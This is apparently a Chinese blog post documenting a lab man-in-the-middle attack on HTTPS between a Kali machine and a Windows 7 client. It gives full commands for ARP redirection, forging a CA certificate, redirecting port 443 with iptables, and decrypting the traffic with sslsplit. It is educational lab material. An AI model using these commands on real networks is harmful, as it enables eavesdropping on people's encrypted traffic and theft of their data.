中间人解密流量会话

https加密简介

传统的http在网络传输中的数据都是以明文进行传输,如果攻击者对网络内容进行监听窃取,我们的通信内容将无疑暴漏。而引入https的作用就是为了防止数据在网络中进行明文传输,从而对传输数据进行加密防止被第三者所获取。就行攻击者截获我们的数据也很难获取我们的真实内容。

https使用了两种加密方式,第一次交使互用的是非对称加密来获取随机数,第二次交互使用随机数进行对称加密传输数据。

中间人解密简介

中间人解密,攻击者为了获得HTTPS传输的明文数据,需要先将自己接入到客户端和目标网站之间;在传输过程中伪造服务器的证书,将服务器的公钥替换成自己的公钥,从而窃取客户端和服务端的通信数据。

实验操作原理

准备两台虚机,一台kali(中间人),一台客户端(windows7)。

流量转发

既然是中间人攻击首先要将流量转到中间人的机器上,当然方法有多种nat,arp欺骗,手动绑定网关。这里使用的是手动绑定arp,来进行流量转发。
kali: vi /proc/sys/net/ipv4/ip_forward 开启网卡转发0改为1。

windows7: netsh -c "i i" add neighbors 14 "192.168.40.2" "00-0c-29-2a-db-61" 通过ping kali修改网卡mac地址。


测试访问搜狐ok

sslsplit解密

kali: openssl genrsa -out ssl_ca.key 2048 使用openssl生成私钥
       openssl req -new -x509 -days 1096 -key ssl_ca.key -out ca.crt 使用私钥生成证书
       iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 使用iptables将443端口流量转到8443

启动 sslspit: sslsplit -D -l connect.log -j test/ -S test/ -k ssl_ca.key -c ca.crt ssl 0.0.0.0 8443 -X sslspit_1.pcap

windows7 访问 www.sohu.com进行测试,可以看到浏览该证书不安全。


访问sslspit生成的pcap文件,可以看到明文的443通信服务。

参考链接 https://segmentfault.com/a/1190000021494676
参考链接 https://github.com/droe/sslsplit/issues/248


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!